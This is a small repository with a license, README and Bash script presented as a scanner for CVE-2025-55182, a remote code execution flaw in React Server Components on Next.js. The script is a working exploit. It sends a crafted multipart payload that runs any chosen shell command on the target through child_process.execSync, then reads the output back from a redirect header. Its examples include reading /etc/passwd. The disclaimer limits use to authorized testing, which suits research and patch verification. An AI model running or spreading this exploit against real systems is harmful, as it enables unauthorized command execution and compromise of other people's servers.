├── LICENSE
├── README.md
└── scanner.sh
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
23 | ---
24 |
25 | DISCLAIMER: This software is provided for educational and authorized security
26 | testing purposes only. The authors are not responsible for any misuse of this
27 | code. Unauthorized access to computer systems is illegal.
28 |
29 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # CVE-2025-55182 Scanner
4 |
5 | Simple command-line tool for detecting and exploiting CVE-2025-55182 (React Server Components RCE) in Next.js applications.
6 |
7 |
8 | ## Installation
9 |
10 | ```bash
11 | chmod +x scanner.sh
12 | ```
13 |
14 | ## Usage
15 |
16 | ```bash
17 | # Scan with default command (id)
18 | ./scanner.sh -d example.com
19 |
20 | # Execute custom command
21 | ./scanner.sh -d example.com -c "whoami"
22 |
23 | # With full URL
24 | ./scanner.sh -d https://example.com -c "uname -a"
25 | ```
26 |
27 | ## Options
28 |
29 | - `-d, --domain` - Target domain/URL (required)
30 | - `-c, --command` - Command to execute (default: `id`)
31 |
32 | ## Examples
33 |
34 | ```bash
35 | # Check if target is vulnerable
36 | ./scanner.sh -d vulnerable-app.com
37 |
38 | # Get system information
39 | ./scanner.sh -d vulnerable-app.com -c "uname -a"
40 |
41 | # List files
42 | ./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
43 | ```
44 |
45 | ## Requirements
46 |
47 | - Bash
48 | - curl
49 | - openssl
50 |
51 | ## Disclaimer
52 |
53 | This tool is for **educational and authorized security testing purposes only**. Do not use against systems you don't own or have permission to test.
54 |
55 | ## References
56 |
57 | - [CVE-2025-55182](https://cloud.projectdiscovery.io/library/CVE-2025-55182)
58 | - [React Security Advisory](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
59 |
--------------------------------------------------------------------------------
/scanner.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # CVE-2025-55182 Advanced Scanner
4 | # A comprehensive tool for detecting and exploiting CVE-2025-55182 in Next.js applications
5 | # Based on the Nuclei template from: https://cloud.projectdiscovery.io/library/CVE-2025-55182
6 | #
7 | # Usage:
8 | # ./scanner.sh -d -c
9 | # ./scanner.sh -d vulnapp.com -c id
10 | # ./scanner.sh -d http://localhost:3000 -c "ping -c 3 google.com"
11 | # ./scanner.sh -d vulnapp.com -c "cat /etc/passwd"
12 |
13 | VERSION="1.0.0"
14 | DOMAIN="http://localhost:3000"
15 | CMD="id"
16 |
17 | # Colors for output
18 | RED='\033[0;31m'
19 | GREEN='\033[0;32m'
20 | YELLOW='\033[1;33m'
21 | BLUE='\033[0;34m'
22 | CYAN='\033[0;36m'
23 | MAGENTA='\033[0;35m'
24 | NC='\033[0m' # No Color
25 |
26 | # Print banner
27 | print_banner() {
28 | echo -e "${BLUE}"
29 | echo "╔════════════════════════════════════════════════════════════╗"
30 | echo "║ CVE-2025-55182 Advanced Scanner v${VERSION} ║"
31 | echo "║ React Server Components RCE Scanner ║"
32 | echo "╚════════════════════════════════════════════════════════════╝"
33 | echo -e "${NC}"
34 | }
35 |
36 | # Print usage
37 | print_usage() {
38 | echo "Usage: $0 [OPTIONS]"
39 | echo ""
40 | echo "Options:"
41 | echo " -d, --domain Target domain/URL (default: http://localhost:3000)"
42 | echo " If no protocol specified, defaults to https://"
43 | echo " -c, --command Command to execute (default: id)"
44 | echo " -h, --help Show this help message"
45 | echo ""
46 | echo "Examples:"
47 | echo " $0 -d vulnapp.com -c id"
48 | echo " $0 -d http://localhost:3000 -c \"ping -c 3 google.com\""
49 | echo " $0 -d vulnapp.com -c \"cat /etc/passwd\""
50 | echo ""
51 | }
52 |
53 | # Parse command-line arguments
54 | parse_args() {
55 | while [[ $# -gt 0 ]]; do
56 | case $1 in
57 | -d|--domain)
58 | DOMAIN="$2"
59 | # Add https:// if no protocol specified (most production sites use HTTPS)
60 | if [[ ! "$DOMAIN" =~ ^https?:// ]]; then
61 | DOMAIN="https://${DOMAIN}"
62 | fi
63 | shift 2
64 | ;;
65 | -c|--command)
66 | CMD="$2"
67 | shift 2
68 | ;;
69 | -h|--help)
70 | print_usage
71 | exit 0
72 | ;;
73 | *)
74 | echo -e "${RED}Unknown option: $1${NC}"
75 | print_usage
76 | exit 1
77 | ;;
78 | esac
79 | done
80 | }
81 |
82 | # Main execution
83 | main() {
84 | print_banner
85 |
86 | parse_args "$@"
87 |
88 | # Display scan configuration
89 | echo -e "${BLUE}┌─ Scan Configuration ─────────────────────────────────────────┐${NC}"
90 | echo -e "${BLUE}│${NC} Target: ${CYAN}${DOMAIN}${NC}"
91 | echo -e "${BLUE}│${NC} Command: ${YELLOW}${CMD}${NC}"
92 | echo -e "${BLUE}└──────────────────────────────────────────────────────────────┘${NC}"
93 | echo ""
94 |
95 | # Generate random IDs as per template
96 | REQUEST_ID=$(openssl rand -hex 4 2>/dev/null | tr '[:upper:]' '[:lower:]' || echo "$(date +%s | sha256sum | cut -c1-8)")
97 | NEXTJS_HTML=$(openssl rand -hex 10 2>/dev/null || echo "$(date +%s | sha256sum | cut -c1-21)")
98 |
99 | BOUNDARY="----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
100 |
101 | # Escape the command for JSON (escape single quotes, backslashes, and newlines)
102 | ESCAPED_CMD=$(echo "$CMD" | sed "s/'/\\\\'/g" | sed 's/\\/\\\\/g' | tr -d '\n')
103 |
104 | # Create temporary file with multipart form data using CRLF line endings
105 | TMPFILE=$(mktemp)
106 |
107 | # Build the JSON payload with the escaped command
108 | PAYLOAD_JSON="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('${ESCAPED_CMD}').toString().trim().replace(/\\\\n/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: \`NEXT_REDIRECT;push;/login?a=\${res};307;\`});\",\"_chunks\":\"\$Q2\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}"
109 |
110 | printf '%s\r\n' \
111 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
112 | 'Content-Disposition: form-data; name="0"' \
113 | "" \
114 | "${PAYLOAD_JSON}" \
115 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
116 | 'Content-Disposition: form-data; name="1"' \
117 | "" \
118 | '"$@0"' \
119 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
120 | 'Content-Disposition: form-data; name="2"' \
121 | "" \
122 | '[]' \
123 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" \
124 | > "$TMPFILE"
125 |
126 | # Show sending request message
127 | echo -e "${CYAN}[*]${NC} Sending request to ${CYAN}${DOMAIN}${NC}..."
128 |
129 | # Send the request exactly as in the Nuclei template
130 | RESPONSE=$(curl -s -i -X POST "${DOMAIN}" \
131 | -H "Next-Action: x" \
132 | -H "X-Nextjs-Request-Id: ${REQUEST_ID}" \
133 | -H "X-Nextjs-Html-Request-Id: ${NEXTJS_HTML}" \
134 | -H "Content-Type: multipart/form-data; boundary=${BOUNDARY}" \
135 | -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
136 | --max-time 15 \
137 | --data-binary "@${TMPFILE}" 2>&1)
138 |
139 | # Extract the command result from X-Action-Redirect header (as per template matcher)
140 | CMD_RESULT=$(echo "$RESPONSE" | grep -i "x-action-redirect" | sed -n 's/.*\/login?a=\([^;]*\).*/\1/p' | head -1)
141 |
142 | # Cleanup
143 | rm -f "$TMPFILE"
144 |
145 | if [ -n "$CMD_RESULT" ]; then
146 | # URL decode the result
147 | if command -v python3 >/dev/null 2>&1; then
148 | DECODED_RESULT=$(echo "$CMD_RESULT" | python3 -c "import sys, urllib.parse; sys.stdout.write(urllib.parse.unquote(sys.stdin.read()))")
149 | else
150 | # Fallback URL decoding
151 | DECODED_RESULT=$(echo "$CMD_RESULT" | sed -e 's/%20/ /g' -e 's/%21/!/g' -e 's/%22/"/g' -e 's/%23/#/g' -e 's/%24/$/g' -e 's/%25/%/g' -e 's/%26/\&/g' -e "s/%27/'/g" -e 's/%28/(/g' -e 's/%29/)/g' -e 's/%2A/*/g' -e 's/%2B/+/g' -e 's/%2C/,/g' -e 's/%2D/-/g' -e 's/%2E/./g' -e 's/%2F/\//g' -e 's/%3A/:/g' -e 's/%3B/;/g' -e 's/%3C//g' -e 's/%3F/?/g' -e 's/%40/@/g' -e 's/%5B/[/g' -e 's/%5C/\\/g' -e 's/%5D/]/g' -e 's/%5E/^/g' -e 's/%5F/_/g' -e 's/%60/`/g' -e 's/%7B/{/g' -e 's/%7C/|/g' -e 's/%7D/}/g' -e 's/%7E/~/g' -e 's/%0A/\n/g' -e 's/%0D//g')
152 | fi
153 |
154 | # Convert pipe separators back to newlines (payload replaces \n with ' | ')
155 | DECODED_RESULT=$(echo "$DECODED_RESULT" | sed 's/ | /\n/g')
156 |
157 | # Display result with nice formatting
158 | echo -e "${GREEN}[+]${NC} Command executed successfully!"
159 | echo ""
160 | echo -e "${YELLOW}┌─ Command Output ────────────────────────────────────────────┐${NC}"
161 |
162 | # Use temporary file to handle newlines properly
163 | TMP_OUTPUT=$(mktemp)
164 | printf '%s' "$DECODED_RESULT" > "$TMP_OUTPUT"
165 |
166 | # Display each line with proper formatting
167 | while IFS= read -r line || [ -n "$line" ]; do
168 | echo -e "${YELLOW}│${NC} $line"
169 | done < "$TMP_OUTPUT"
170 |
171 | echo -e "${YELLOW}└──────────────────────────────────────────────────────────────┘${NC}"
172 | echo ""
173 |
174 | rm -f "$TMP_OUTPUT"
175 | exit 0
176 | else
177 | # Check for common error patterns
178 | echo -e "${RED}[!]${NC} Command execution failed"
179 | echo ""
180 |
181 | if echo "$RESPONSE" | grep -qi "403\|Forbidden"; then
182 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
183 | echo -e "${RED}║${NC} ${RED}Error: Access forbidden (403)${NC}"
184 | echo -e "${RED}║${NC} WAF or firewall may be blocking the request"
185 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
186 | elif echo "$RESPONSE" | grep -qi "timeout\|Connection timed out"; then
187 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
188 | echo -e "${RED}║${NC} ${RED}Error: Connection timeout${NC}"
189 | echo -e "${RED}║${NC} The server did not respond in time"
190 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
191 | elif echo "$RESPONSE" | grep -qi "SSL\|certificate"; then
192 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
193 | echo -e "${RED}║${NC} ${RED}Error: SSL certificate issue${NC}"
194 | echo -e "${RED}║${NC} Try using http:// instead of https://"
195 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
196 | elif echo "$RESPONSE" | grep -qi "500\|Internal Server Error"; then
197 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
198 | echo -e "${RED}║${NC} ${RED}Error: Server error (500)${NC}"
199 | echo -e "${RED}║${NC} Server may not be vulnerable or payload was rejected"
200 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
201 | else
202 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}"
203 | echo -e "${RED}║${NC} ${RED}Error: Command execution failed${NC}"
204 | echo -e "${RED}║${NC} No result returned - target may not be vulnerable"
205 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}"
206 | fi
207 | echo ""
208 | exit 1
209 | fi
210 | }
211 |
212 | # Run main function
213 | main "$@"
214 |
--------------------------------------------------------------------------------